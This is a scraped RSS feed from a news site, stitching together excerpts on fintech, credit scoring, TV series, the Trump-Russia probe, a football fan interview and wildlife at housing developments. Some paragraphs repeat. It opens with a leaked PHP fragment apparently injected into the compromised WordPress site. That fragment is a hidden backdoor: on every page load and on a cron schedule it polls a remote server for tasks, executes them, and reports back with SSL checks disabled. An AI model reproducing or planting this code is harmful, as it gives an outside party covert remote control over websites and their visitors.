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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Developments – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 13 Dec 2018 18:36:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Developments – Brief News https://briefnews.eu 32 32 These were the biggest developments in the global fintech ecosystem over the last 12 months https://briefnews.eu/these-were-the-biggest-developments-in-the-global-fintech-ecosystem-over-the-last-12-months/ https://briefnews.eu/these-were-the-biggest-developments-in-the-global-fintech-ecosystem-over-the-last-12-months/#respond Thu, 13 Dec 2018 18:36:51 +0000 http://briefnews.eu/these-were-the-biggest-developments-in-the-global-fintech-ecosystem-over-the-last-12-months/ This is a preview of a research report from Business Insider Intelligence,  Business Insider’s premium research service. To learn more about Business Insider Intelligence, click here.

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In recent years, we’ve seen a ballooning of activity in fintech — an expansive term applied to technology-driven disruptions in financial services. And 2018 has been no different, with fintechs’ staggering influence on the market evidenced by record funding levels for the industry — by Q3 2018, overall funding was already up 82% from 2017’s total figure, according to CB Insights.

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As Fear the Walking Dead warned us with its calamitous Season 3 finale, these Season 4 photos, released exclusively to TVLine Wednesday, appear to confirm thatThe Walking Dead offshoot is about to go dark. Very dark.

The cast portraits, full of grim faces and a background so black, it threatens to swallow the actors whole, suggest that under new showrunners Andrew Chambliss (Once Upon a Time) and Ian Goldberg (Dead of Summer) there will be no lightening up of the AMC drama, which returns Sunday, April 10, following TWD’s Season 8 finale. The pictures — among them, shots of new series regulars Lennie James (who’s crossing over Morgan from TWD), Jenna Elfman (Dharma and Greg), Garret Dillahunt (The Mindy Project) and Maggie Grace (Lost) — also reveal which characters’ whose fates were left up in the air at the end of Season 3 still have a pulse going into Season 4.

Per the show’s official logline, in the coming episodes, the Clark family and Morgan’s “immediate past mixes with an uncertain present of struggle and discovery as they meet new friends, foes and threats. They fight for each other, against each other and against a legion of the dead to somehow build an existence against the crushing pressure of lives coming apart. There will be darkness and light; terror and grace; the heroic, mercenary and craven, all crashing together towards a new reality.”

To check out the photos, click on the gallery above — or go here to view it directly. Just brace yourself for the last couple of pics: They’re doozies.

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During the first week of 2018, investigators and the president’s allies alike zeroed in on the Department of Justice, with two Republican congressmen calling on Attorney General Jeff Sessions to resign and former campaign manager for President Donald Trump, Paul Manafort, suing the department, seeking to limit its powers.

Underneath all the drama though, perhaps the most illuminating news was that the impetus for the FBI investigation into Trump’s Russia ties turned out not to be the Trump-Russia dossier, but rather a drunken admission from Trump’s former foreign policy adviser George Papadopoulos to an Australian diplomat that Russia had “dirt” on Hillary Clinton. 

Here’s everything you need to know about what happened this week:

  • 2 GOP lawmakers called on Sessions to resign: Republican Reps. Mark Meadows and Jim Jordan called on Sessions to resign in an op-ed published by the conservative Washington Examiner, citing leaks coming out of the FBI they said Sessions appeared unable to “control.”
  • FBI investigators met with House Speaker Paul Ryan: FBI Director Christopher Wray and Deputy Attorney General Rod Rosenstein met with the House speaker to discuss sharing files related to their investigation of the infamous dossier about Trump’s alleged ties to Russia. 
  • Paul Manafort sued the Department of Justice for exceeding its powers: Following his not guilty plea to 12 counts levied against him in October, former Trump campaign chairman Paul Manafort filed a lawsuit against the DOJ. He is accusing Rosenstein of overstepping the scope of his authority by appointing special counsel Robert Mueller to investigate not just “links and/or coordination between the Russian government and individuals associated with” the campaign, but “any matters that arose or may arise directly from” the investigation.
  • Steve Bannon reportedly called a June 2016 Trump Tower meeting “treasonous:” Trump’s former chief strategist also reportedly called the meeting between several Trump campaign officials and Russians “unpatriotic,” according to an explosive new book written by columnist Michael Wolff. The meeting is a pivotal part of Mueller’s Russia probe.   
  • We found out the real reason that prompted the FBI probe into Trump and Russia: According to The New York Times, former foreign policy adviser to the Trump campaign George Papadopoulos, who pleaded guilty to lying to the FBI in October, was responsible for initiating the Trump-Russia investigation. Papadopoulos reportedly drunkenly revealed to an Australian diplomat that he had knowledge that Russia had damaging information on former Democratic presidential nominee Hillary Clinton, which prompted the diplomat to turn to federal investigators. Prior to this revelation, many had believed that it was the Trump-Russia dossier, compiled by former British spy Christopher Steele, that had prompted the investigation.
  • House Intelligence Chair Devin Nunes struck a deal with the DOJ to obtain documents related to the Trump dossier: Nunes was able to obtain the documents following months of subpoenas and letters he had sent to the Department of Justice, and Democrats and Republicans are now reportedly working together to obtain equal access to these documents. Nunes is pursuing a parallel probe to the Russia investigation, and is trying to look into the DOJ and the FBI’s handling of the case and potential political bias.
  • Trump reportedly erupted in anger after learning that Attorney General Jeff Sessions recused himself: Trump, believing Sessions would be able to protect him from the Russia investigation, did everything he could to convince him not to recuse himself from it due to his previously undisclosed contact with Russian government representatives. He reportedly even sent White House lawyer Donald McGahn to hold Sessions back. Nevertheless, Sessions was facing numerous calls to recuse himself, and once he did, he had to face Trump’s wrath. 
  • Senate Republicans refer the author of the Trump dossier to the DOJ for criminal investigation: In the first official criminal referral to come out of the Senate investigation into Trump’s Russia ties, Republican Sens. Chuck Grassley and Lindsey Graham referred British spy Christopher Steele to the Department of Justice so that they could look into whether Steele made false statements to the agency “about the distribution of claims” in the dossier he authored. Some legal experts have claimed that the move is in part motivated by politics.

Mueller is currently spearheading the FBI’s investigation into Russia’s interference in the 2016 election, including whether members of Trump’s campaign colluded with Moscow to tilt the election in his favor. He is also looking into whether Trump sought to obstruct justice when he fired FBI Director James Comey in May.

*Natasha Bertrand contributed to this report. 

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Traditional consumer lenders, like banks and credit unions, have historically served segments of the population they can conduct robust risk assessments on. 

But the data they collect from these groups is limited and typically impossible to analyze in real time, preventing them from confirming the accuracy of their assessments. This restricts the demographic segments they can safely serve, and creates an inconvenient experience for potential borrowers.

This has hobbled legacy lenders at a time when alternative lending firms — which pride themselves on precision risk assessment and financial inclusion — are taking off. These rivals are starting to break into a huge untapped borrower market — some 64 million US consumers don’t have a conventional FICO score, and 10 million of those are prime or near-prime consumers. 

Incumbents can get in on the game by tapping into new developments in the credit scoring space, like psychometric scoring, which use data besides borrowing history to measure creditworthiness, and by integrating new technologies, like artificial intelligence (AI), to improve the accuracy of conventional risk assessment methods. There are still risks attached to these cutting-edge methods and technologies, but if incumbent lenders are aware of them, and take steps to mitigate them, the payoff from implementing these new tools can be huge.

In a new report, BI Intelligence looks at the drivers encouraging incumbent lenders to consider adopting new credit scoring methods or innovative technologies that make the lending process more seamless. It also outlines what incumbents stand to gain from adopting alt scoring, the types of models on the market to choose from, the risks still appended to onboarding them, and recommendations on how to mitigate them to add real value to legacy lenders’ businesses.

Here are some of the key takeaways from the report:

  • Alternative lenders are disrupting the credit scoring space in two key ways: by using alternate credit scoring methods and integrating new technologies.
  • There’s a range of methods and technologies incumbent lenders can choose to implement. But the solutions that are best suited for a particular lender will vary based on its specific business needs, the demographics it aims to attract, and its jurisdiction’s regulatory landscape.
  • If executed correctly, the payoff can be huge for incumbent lenders. In addition to boosting financial inclusion and enabling lenders to tap into new demographic segments and markets, new methods and technologies can improve returns on existing demographics.
  • However, disruptions carry both short- and long-term risks that both fintechs and incumbent lenders must navigate. These include inbuilt biases, fraud, conflict with third-party data policies, and poor financial literacy among underserved demographics.

In full, the report:

  • Outlines the drivers behind incumbent lenders’ growing awareness and adoption of credit scoring disruptions.
  • Looks at the current range of methods and technologies changing the face of credit scoring.
  • Explains what incumbent lenders stand to gain by adopting these disruptions.
  • Discusses the risks still attached to these disruptions, and how incumbents can manage them to reap the rewards.
  • Gives an overview of what the credit scoring landscape of the future will look like, and how incumbents can prepare themselves to stay relevant.

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Bateman spoke yesterday with Entertainment Weekly Radio — or Sirius XM, channel 105 — about the upcoming season, saying:

The central spine of that story of is the death of Liza Minnelli’s character, and a bit of whodunit, who may have done it, who had something to do with it. That’s sort of a central thread around which [creator Mitch Hurwitz] is going to braid in all the colorful plot complications that he knows how to do.

It also seems like even after this season, they’re hoping to get another, as Hurwitz had been planning the seasons following the original run to make up a three-act structure (outside of their complicated individual, internal structures), with this second Netflix season being the second act. Perhaps most exciting to fans will be the fact that the cast will be filming this fifth season together, as the scheduling obstacles for it aren’t the same this time around as with the fourth. Bateman openly discussed some of the shortcomings of that first Netflix season, saying:

[Mitch] was embracing the interface of Netflix, which was fairly new at the time in original programming, and wanted to be able to basically have you click out of one episode and click into somebody else’s episode and see a different view point on this simultaneous action. Ultimately, editorially, it didn’t really come together as well as he wanted it to, and then he had to dictate an order of watching, and it ended up being a little bit more complicated than I think one intended. But we’re still very proud of those episodes obviously — and really excited that we get to be together in these.

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]]> https://briefnews.eu/arrested-developments-next-season-will-be-a-partial-whodunit/feed/ 0 Change for the better: Russian-Australian fan explains positive developments in Russian football https://briefnews.eu/change-for-the-better-russian-australian-fan-explains-positive-developments-in-russian-football/ https://briefnews.eu/change-for-the-better-russian-australian-fan-explains-positive-developments-in-russian-football/#respond Fri, 07 Jul 2017 18:45:50 +0000 http://briefnews.eu/change-for-the-better-russian-australian-fan-explains-positive-developments-in-russian-football/ The 2017 FIFA Confederations Cup gave football fans around the world the opportunity to see Russia with their own eyes and form their own opinions of the nation.

For Russian football fan Petr Kuzmin, it provided the chance to catch a glimpse of how football in his home country has developed since his relocation to Australia to begin a family 11 years ago.

Raised in Samara and now living in Melbourne, Petr supported both ‘Sbornaya’ and ‘Socceroos’ at the tournament, visiting each Confed Cup host city of Moscow, Kazan, St. Petersburg, and Sochi in the process, often travelling with the latter’s famous fan group ‘Green & Gold Army.’  

Thankfully, Australia and Russia didn’t meet in the tournament, and although neither managed to progress from their respective groups, Petr noted the positive changes in Russian football over more than a decade, including a shift from matchday atmospheres once dominated by rowdy rabbles of fans to a well-organized, family-oriented spectacle.

Speaking to RT Sport, Kuzmin reflected on the tournament from his unique viewpoint as a Russian fan among away support in Russia, and what he believes the tournament spells for the Russia 2018 World Cup next summer.

RT: In what aspects does Australian fan culture differ or is similar between to Russian?

Peter Kuzmin: Two main differences come to mind. First, football matches seem to be much more family friendly in Australia than in Russia. I was a family ticket holder with Western Sydney Wanderers for a couple of seasons and I started to take my daughter to the stadium when she was five. She had just as much fun watching their active support group as the football game itself.

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Some of my friends started taking their kids to the stadiums even at the toddler age. My memory of football matches in Russia in the 1990s is that the fans were predominantly male and I don’t really remember seeing many kids. I saw more female fans and kids during the Confederations Cup though and I hope that this is an indicator that the Russian fan culture is becoming more family friendly.

The second difference is that the Aussie active support groups prepare really well for the matches and have an almost non-stop routine of chants and songs – at least the fans of the biggest Aussie clubs. Again, my experience of Russian club football is not very recent but I remember the vocal support being more spontaneous and sporadic in the past. I think that’s changing too though as big clubs in Russia now seem to have quite strong fan organisations.

RT: What exactly do Aussies like to do to stand out and how did it go down in Russia?

PK: I think that Aussie and Russian fans are not that much different in this respect – fans make up extravagant and funny costumes to stand out, for example, wearing funny hats and having accessories like inflatable kangaroos. A few inflatable kangaroos featured in this Confed Cup and I know that the Aussie fans even named them and talked about them as if they were mates! The kangaroos were a hit with the Russian fans who kept on asking for group photos with the Aussie fans and the kangaroos.

RT: We saw plenty of inflatable kangaroos in the stands but no BBQs, which Australians are famous for – why was this?

PK: An Aussie BBQ is a very special tradition Down Under and I suspect they just need their tools and special ingredients to make an enjoy a BBQ properly! But who knows – maybe next year there will be some.

RT: How were fans received in Russia and did the Russian fans engage?

PK: I’ve spoken to a number of Aussie fans during the Confederations Cup and I was pleasantly surprised by how overwhelmingly positive their responses were to questions about their experience in Russia. They liked the stadiums, friendly volunteers most of whom could speak English, a sense of security, historical architecture. But what lots of the Aussie fans emphasised most is that the Russians they’d met had been extraordinarily friendly and open.

A common Western stereotype about Russians is that they are grim and distant but in reality Russians are very curious about other cultures and they are very welcoming and friendly. One example: After the Australia v Cameroon match, a big group of Aussie fans stopped at a bar not far from the Krestovsky Stadium and there was a bit of confusion at the bar. One of the Russians who happened to be there offered his help and cleared up the situation with the barman. About 20 minutes later I noticed that he was having beers with a group of Aussie fans and he already offered to meet them the next day and take them on a walking tour around St. Petersburg to show all cool places rather than the usual tourist attractions.

I have witnessed several other examples of Russians going far and beyond what is typically expected to make the Aussies they met feel welcome in Russia. And the Aussie fans have been very appreciative of this, posting lots of positive comments about Russia and Russians on their Facebook pages.

RT: You traveled to each of the four host cities for the Confederations Cup, which impressed you the most and why? What stood out for you?

PK: It’s hard to pick one that impressed me most – all four are just so different and have their own peculiar attractions to offer. St. Petersburg is a fantastic city to visit at any time because of its architecture and a special city vibe; its new stadium is quite spectacular, especially because of the setting. Sochi’s Olympic Park is very impressive but the alpine resort Rosa Khutor, which is less than an hour away by speed train, offers a completely different type of experience. I took the cable car road up the 2320m peak and was struck by the natural beauty of the mountains. Kazan is an excellent example of a provincial historical city – its kremlin and the surrounding historical areas are a must. The stadium is also very modern, comfortable and very picturesque because of its setting on the bank of a river.

Moscow’s Spartak Stadium was probably my favourite though and the city itself has so much to offer that I expect most foreign fans would have spent at least a couple of days there. One thing that impressed me a lot is the number of friendly volunteers not only at the stadium but also at the airports, train stations and just around the biggest attractions around the host cities. I think volunteers are a great help not only to the foreign visitors but Russians from other cities as well. I was also impressed with the free trains which circulated among the four host cities and I made two trips on them myself – from St. Petersburg to Kazan and from Moscow to St. Petersburg.

RT: Australians made headlines for ‘taking over’ the Moscow metro, did they come to conquer Russia and if so did they succeed?

PK: The number of Aussie fans was not that big, probably around 150 or so, and I don’t think they came to conquer Russia. This was more of a reconnaissance mission in preparation for the World Cup next year, I think. A significant number of the Aussie fans who came this time are actually based in Europe now, primarily London, so it’s easier for them to travel to Russia. But I think a lot more fans will come next year to the World Cup.

My impression was that even though the Aussie fans were not that numerous, they were so colourful and vocal that they made a positive impression on the locals and Russians would enjoy having more of them here next year. Now the Socceroos just need to win the qualifiers and confirm their place in the World Cup next year.

RT: What has been the thing that stood out most to you that had changed since you left Russia?

PK: I think the level of service has improved quite dramatically compared to the 1990s and 1980s when I was growing up. Shop assistants and government workers tended to be unfriendly and even tyrannical in some cases. But this year I saw lots more smiling faces and a genuine desire to be helpful. Volunteers in particularly were fantastic.

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RT: Since coming for the Confederations Cup, how much are Australians looking to forward to potentially coming back for the World Cup in 2018?

PK: Literally every Aussie fan I met during the Confed Cup said that they definitely want to come back next year. I know that a Facebook group has already been set up in preparation for next year and members are already discussing what hashtags they need to have to make it easy to find all the fan-generated content online.

RT: Who will you support in the 2018 World Cup, should Australia get there?

PK: I will of course support both Russia and Australia and hope that both teams manage to make it out of the group stage at least!

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Iverna Quay apartments are behind Greenwich Yacht Club

But if the animal-mad novelist Gerald Durrell had lived in modern Britain he would have been delighted to discover an increased interest in wildlife among all ages.

And, unlikely though it may seem, property developers are often to thank for improved accessibility to wildlife in urban settings.

In Cambridge, for example, otters have been discovered living in Hobson’s Brook in the heart of Great Kneighton Country Park, which is the focus of Countryside Properties’ Great Kneighton development in Trumpington. The 120-acre country park has woodlands and a 50,000 square-metre bird reserve among its four ponds.

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“Providing natural green spaces, both for residents and wildlife, is very much our ethos at Countryside,” says Andrew Carrington, managing director of the company’s Strategic Land team.

“We have a number of ecological projects on all of our sites to attract and enhance wildlife and make sure they thrive for many years to come. The discovery of otters is such exciting news for us and our residents at Great Kneighton.

“We have employed experts to oversee the ecology of the country park.

“They have been on-site long before any construction started and will be keeping an eye on our wildlife for as long as 10 years after construction finishes.”

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Wildlife levels at Kingsmere in Bicester have increased significantly since construction began

Countryside has recently launched new apartments at its Aura development at Great Kneighton.

The two-bedroom Mendini Apartments have decked terraces, large open-plan living spaces with contemporary fitted kitchens and double bedrooms. Prices start from £440,000 (01223 656167; auracambridge.co.uk).

Wildlife levels at Kingsmere in Bicester have increased significantly since construction there began, according to the latest annual ecology survey of the site.

New wildlife habitats including ponds have been created as part of the development on the outskirts of Bicester, where Countryside Properties is responsible for overall strategic development of the site. Wading birds are thriving particularly well, including sandpipers and little ringed plover.

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Neither had been recorded on the site prior to the ponds being created. Little egrets and gadwalls, a less common relative of mallard ducks, have also moved into the new wetland areas.

The ponds along Middleton Stoney Road are particularly attractive to pipistrelle bats, too, and bat boxes have been installed in the woodland for them to roost in.

Several companies are building properties on the site including Bellway Homes with three-bedroom semi-detached houses starting from £379,995 (01869 369887; bellway.co.uk).

Bovis Homes has fiveedroom detached houses from £507,995 (01869 908005; bovishomes.co.uk) and Persimmon has five-bedroom homes for sale from £424,9995 (01869 220583; persimmonhomes.com). For full details go to kingsmere-bicester.com.

Finally, Greenwich Millennium Village in south east London has 50 acres of parkland, including a four-acre ecology park near its latest phase of homes, Iverna Quay. The contemporary apartments and maisonettes are behind Greenwich Yacht Club, with some overlooking the River Thames.

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Otters have been discovered living in Hobson’s Brook in the heart of Great Kneighton Country Park

Prices start from £399,995 for a one-bedroom flat and £530,000 for a two-bedroom apartment, with Help to Buy London available on selected units (020 8305 2712; gmv.london).

The ecology park has two man-made lakes linked to ponds, reedbeds and islets to attract estuary and migrating birds, while a “green corridor” provides an ecological link from the riverbank to the far side of the village.

More than 60,000 shrubs and 12,000 trees have been planted and meadow grassland sown, so it’s not surprising that local residents are equally attracted to the lakes and the network of boardwalks and bird hides. There’s even a beach.

Hopefully these urban oases will inspire a new generation of animal-lovers – and perhaps even a new set of novels: My New Home And Other Neighbours?

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Countryside has recently launched new apartments at its Aura development at Great Kneighton

The ecology park has two man-made lakes linked to ponds, reedbeds and islets to attract estuary and migrating birds, while a “green corridor” provides an ecological link from the riverbank to the far side of the village.

More than 60,000 shrubs and 12,000 trees have been planted and meadow grassland sown, so it’s not surprising that local residents are equally attracted to the lakes and the network of boardwalks and bird hides. There’s even a beach.

Hopefully these urban oases will inspire a new generation of animal-lovers – and perhaps even a new set of novels: My New Home And Other Neighbours?

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